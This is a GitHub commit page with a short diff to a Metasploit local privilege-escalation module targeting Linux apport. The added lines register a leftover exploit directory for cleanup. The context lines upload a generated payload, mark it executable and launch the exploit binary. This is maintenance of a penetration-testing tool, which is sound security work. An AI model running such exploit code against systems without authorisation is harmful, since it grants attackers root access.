We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 8bbffd2 commit 842736fCopy full SHA for 842736f
modules/exploits/linux/local/apport_chroot_priv_esc.rb
@@ -134,6 +134,10 @@ def exploit
134
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
135
upload_and_chmodx payload_path, generate_payload_exe
136
137
+ # the exploit writes an 'exploit' directory
138
+ # which must be removed manually if exploitation fails
139
+ register_dir_for_cleanup "#{datastore['WritableDir']}/exploit"
140
+
141
print_status 'Launching exploit...'
142
cmd_exec "cd #{datastore['WritableDir']}"
143
output = cmd_exec executable_path
0 commit comments